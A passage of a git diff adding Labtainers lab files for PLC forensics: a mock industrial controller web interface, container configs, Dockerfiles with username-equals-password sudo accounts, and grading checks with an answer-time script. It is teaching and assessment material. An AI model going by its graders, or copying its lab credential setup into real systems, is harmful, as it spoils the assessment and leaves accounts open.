"#bcbcbc"); + } + + overColor(current, "#dedede"); + highlighted= current; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') // clear any pending refreshes from another page + parent.window.clearTimeout(parent.timeoutPntr); +} + +function showBranch(branch) +{ + var objBranch; + objBranch = document.getElementById(branch).style + + if (objBranch.display == "block") + { + objBranch.display="none"; + } + else + { + objBranch.display="block"; + } + + top.frames.home.focus(); +} + +function branchState(branch, state) +{ + objBranch = document.getElementById(branch).style + + if (state == "expand") + { + objBranch.display="block"; + } + else + { + objBranch.display="none"; + } +} +function swapFolder(img) +{ + objImg = document.getElementById(img); + + if (objImg.src.indexOf('/images/folder.gif') > -1) + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function folderState(img, state) +{ + objImg = document.getElementById(img); + if (state == "expand") + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function overColor(object, color) +{ + object.style.backgroundColor= color; +} + +function outColor(object, color) +{ + + if (object == highlighted) + { + color= "#dedede"; + } + + object.style.backgroundColor= color; +} + +function changeAll(state) +{ + // change all folder images + folderState("f_data_views", state); + folderState("f_diagnostics", state); + folderState("f_admin_settings", state); + folderState("f_device_config", state); + folderState("f_user_manage", state); + folderState("f_server_manage", state); + folderState("f_adv_diagnostics", state); + folderState("f_enet_ip", state); + folderState("f_network", state); + folderState("f_controlbus", state); + folderState("f_misc", state); + + // expand all branches + branchState("b_data_views", state); + branchState("b_diagnostics", state); + branchState("b_admin_settings", state); + branchState("b_device_config", state); + branchState("b_user_manage", state); + branchState("b_server_manage", state); + branchState("b_adv_diagnostics", state); + branchState("b_enet_ip", state); + branchState("b_network", state); + branchState("b_controlbus", state); + branchState("b_misc", state); + + top.frames.home.focus(); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/navtree_files/paper.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/navtree_files/paper.gif new file mode 100644 index 000000000..aa94332ce Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/navtree_files/paper.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/redirect.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/redirect.html new file mode 100644 index 000000000..5226f9bb2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/redirect.html @@ -0,0 +1,9 @@ + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/redirect_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/redirect_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/redirect_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/services.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/services.html new file mode 100644 index 000000000..75ea3bb90 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/services.html @@ -0,0 +1,102 @@ + + + + + + + + + + +
+ + + + + + + + + + + + +
Device IdentityNetwork ConfigurationDevice ServicesEmail Configuration
+ + + + + + + +

+ + + + +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ServiceDescriptionCurrent StatusEnable
FTPCopy FilesRunning
SNMPStation ManagementRunning
SMTPEmail ClientRunning
CIPBridge EtherNet/IP to BackplaneRunning
CIPBridge Backplane to EtherNet/IPRunning
XML & ASPWeb Access to Control DataRunning

diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/services_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/services_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/services_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/services_files/border.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/services_files/border.gif new file mode 100644 index 000000000..d81911ea2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/services_files/border.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/services_files/mensepoffoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/services_files/mensepoffoff.gif new file mode 100644 index 000000000..dee299b7b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/services_files/mensepoffoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/services_files/mensepoffon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/services_files/mensepoffon.gif new file mode 100644 index 000000000..0853fe34b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/services_files/mensepoffon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/services_files/menseponoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/services_files/menseponoff.gif new file mode 100644 index 000000000..8135de9c9 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/services_files/menseponoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/services_files/menubgoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/services_files/menubgoff.gif new file mode 100644 index 000000000..793d82e8a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/services_files/menubgoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/services_files/menubgon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/services_files/menubgon.gif new file mode 100644 index 000000000..fbcdbb48f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/services_files/menubgon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/services_files/menuendbg.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/services_files/menuendbg.gif new file mode 100644 index 000000000..e31e6823a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/services_files/menuendbg.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/services_files/menuendoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/services_files/menuendoff.gif new file mode 100644 index 000000000..584111416 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/services_files/menuendoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/services_files/menustartoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/services_files/menustartoff.gif new file mode 100644 index 000000000..b55bbc1fd Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/services_files/menustartoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/services_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/services_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/services_files/services_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/config/about.txt new file mode 100644 index 000000000..e9189a4de --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/config/about.txt @@ -0,0 +1 @@ +Forensic analysis of a PLC session from a rouge client. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/config/parameter.config new file mode 100644 index 000000000..c0ffdfb7e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/config/parameter.config @@ -0,0 +1,12 @@ +# parameter.config +# +# Please see labdesigner.pdf + +# The following are meant for CNAP lab +# Replace the number of second to adjust for editcap +PCAPSECOND : RAND_REPLACE : investigator:/home/ubuntu/.local/bin/fixlocal.sh : EDITCAP_SECONDS : 100 : 3600 + +# Replace with the same amount of characters, i.e., 5 for 'guest' +GUESTPASS1 : HASH_REPLACE : investigator:/home/ubuntu/Task3-trace.pcap : guest : mycnapguestpass : 5 +GUESTPASS2 : HASH_REPLACE : plc:/home/Guest/.local/bin/fixlocal.sh;plc:/sbin/auth.list : guest : mycnapguestpass : 5 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/config/start.config new file mode 100644 index 000000000..fa17d604d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/config/start.config @@ -0,0 +1,31 @@ +# Filename : start.config +# Description: +# This is a simple configuration file read by start.sh + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + GRADE_CONTAINER investigator + + # HOST_HOME_XFER - directory to transfer artifact to/from containers + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED plc-forensics_jean_seed + +# SUBNETS +NETWORK PLC_NETWORK + MASK 10.1.100.0/24 + GATEWAY 10.1.100.100 + +# Container name and settings +CONTAINER investigator + USER ubuntu + TERMINALS 2 + TERMINAL_GROUP 1 + PLC_NETWORK 10.1.100.1 + X11 YES +CONTAINER plc + USER Guest + TERMINALS 0 + PLC_NETWORK 10.1.100.2 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/dockerfiles/Dockerfile.plc-forensics.investigator.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/dockerfiles/Dockerfile.plc-forensics.investigator.student new file mode 100644 index 000000000..07c3dea53 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/dockerfiles/Dockerfile.plc-forensics.investigator.student @@ -0,0 +1,24 @@ +ARG registry +FROM $registry/labtainer.wireshark +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG apt_source + +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends tshark ftp + +ADD $labdir/sys_$lab.tar.gz / + +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +# +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/dockerfiles/Dockerfile.plc-forensics.plc.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/dockerfiles/Dockerfile.plc-forensics.plc.student new file mode 100644 index 000000000..9202c1627 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/dockerfiles/Dockerfile.plc-forensics.plc.student @@ -0,0 +1,25 @@ +ARG registry +FROM $registry/labtainer.network +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends \ + vsftpd + +ADD $labdir/sys_$lab.tar.gz / + +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN chown -R $user_name:$user_name /home/$user_name +RUN adduser $user_name sudo + +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME + +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/docs/Makefile new file mode 100644 index 000000000..a7e58dd0f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/docs/Makefile @@ -0,0 +1,6 @@ +plc-forensics.pdf: plc-forensics.docx + soffice --convert-to pdf plc-forensics.docx --headless + +clean: + rm -fr auto + rm -f *.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/docs/plc-forensics.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/docs/plc-forensics.docx new file mode 100644 index 000000000..cd6875d11 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/docs/plc-forensics.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/docs/read_first.txt new file mode 100644 index 000000000..785dfa5f3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/docs/read_first.txt @@ -0,0 +1,5 @@ +PLC Forensics LAB -- Read this first + +The lab manual for this lab is at: + file://LAB_MANUAL +Right click on the linke and select "Open link". diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/instr_config/goals.config new file mode 100644 index 000000000..5a8cdaed1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/instr_config/goals.config @@ -0,0 +1,4 @@ +# goals.config +# +# Please see labdesigner.md + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/instr_config/results.config new file mode 100644 index 000000000..2192d517c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/instr_config/results.config @@ -0,0 +1,17 @@ +# results.config +# +# Please see ..../docs/results.config.format + +# The following are meant for CNAP lab + +# Student successfully login to FTP +#DOC: Logged into FTP +ftploginok = investigator:ftp.stdout : CONTAINS : 230 Login successful + +#DOC: Retrieved eds file with FTP +ftpgetok = investigator:ftp.stdout : CONTAINS : Opening BINARY mode data connection for 0001000C007D0300.eds + +#DOC: used wget on services.asp +wgetok = investigator:wget.stdout : CONTAINS : Saving to: 'services.asp' + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/investigator/Task1-trace.pcap b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/investigator/Task1-trace.pcap new file mode 100644 index 000000000..47d53dfe5 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/investigator/Task1-trace.pcap differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/investigator/Task2-trace.pcap b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/investigator/Task2-trace.pcap new file mode 100644 index 000000000..7a7d6e622 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/investigator/Task2-trace.pcap differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/investigator/Task3-trace.pcap b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/investigator/Task3-trace.pcap new file mode 100644 index 000000000..f9896d02d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/investigator/Task3-trace.pcap differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/investigator/_bin/adjusttime.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/investigator/_bin/adjusttime.py new file mode 100755 index 000000000..a11fc6b16 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/investigator/_bin/adjusttime.py @@ -0,0 +1,66 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' + +# adjusttime.py +# Description: * This is a sample exec file (Python) for 'execute' goals +# * This script will take two arguments +# * 'studenttime' - the time associated with the student +# * 'parameter.PCAPSECOND' - the parameterized PCAPSECOND +# +# Processing: +# This script has a hard-coded time (original time) +# This script will adjust the hard-coded time with the parameterized PCAPSECOND +# If the studenttime equals the adjusted time, the script returns TRUE +# Otherwise, the script returns FALSE + +import os +import sys +import datetime + +# Usage: adjusttime.py +# Arguments: +# - the time associated with the student +# - the parameterized PCAPSECOND +def main(): + #print "Running adjusttime.py" + if len(sys.argv) != 3: + sys.stderr.write("Usage: adjusttime.py \n") + return 0 + + FIX_DATE = "2017-08-03" + ORIG_TIME = "22:30:36.245616" + + studenttime = sys.argv[1] + pcapsecond = sys.argv[2] + addsecond = int(pcapsecond) + #print "adjusttime.py: studenttime is (%s) pcapsecond is (%s)" % (studenttime, pcapsecond) + + if studenttime == "NONE": + return 0 + else: + full_origtime = "%s %s" % (FIX_DATE, ORIG_TIME) + # Take up to the first 6 digits of student time nanoseconds portion only + full_studenttime = "%s %s" % (FIX_DATE, studenttime[0:15]) + #print "adjusttime.py: origtime is (%s) studenttime is (%s)" % (full_origtime, full_studenttime) + origdatetime = datetime.datetime.strptime(full_origtime, "%Y-%m-%d %H:%M:%S.%f") + studentdatetime = datetime.datetime.strptime(full_studenttime, "%Y-%m-%d %H:%M:%S.%f") + newdatetime = origdatetime + datetime.timedelta(seconds=addsecond) + #print origdatetime + #print studentdatetime + #print newdatetime + if newdatetime == studentdatetime: + return 1 + else: + return 0 + +if __name__ == '__main__': + sys.exit(main()) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/investigator/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/investigator/_bin/fixlocal.sh new file mode 100755 index 000000000..67f93abab --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/investigator/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash + +cd $HOME +# Do editcap to new file to avoid potential corruption +editcap -t EDITCAP_SECONDS Task1-trace.pcap new.Task1-trace.pcap +editcap -t EDITCAP_SECONDS Task2-trace.pcap new.Task2-trace.pcap +editcap -t EDITCAP_SECONDS Task3-trace.pcap new.Task3-trace.pcap +editcap -t EDITCAP_SECONDS Task4-trace1.pcap new.Task4-trace1.pcap +editcap -t EDITCAP_SECONDS Task4-trace2.pcap new.Task4-trace2.pcap +editcap -t EDITCAP_SECONDS Task5-trace.pcap new.Task5-trace.pcap +# Replace when done +mv new.Task1-trace.pcap Task1-trace.pcap +mv new.Task2-trace.pcap Task2-trace.pcap +mv new.Task3-trace.pcap Task3-trace.pcap +mv new.Task4-trace1.pcap Task4-trace1.pcap +mv new.Task4-trace2.pcap Task4-trace2.pcap +mv new.Task5-trace.pcap Task5-trace.pcap + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/investigator/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/investigator/_bin/treataslocal new file mode 100644 index 000000000..9367116b1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/investigator/_bin/treataslocal @@ -0,0 +1,4 @@ 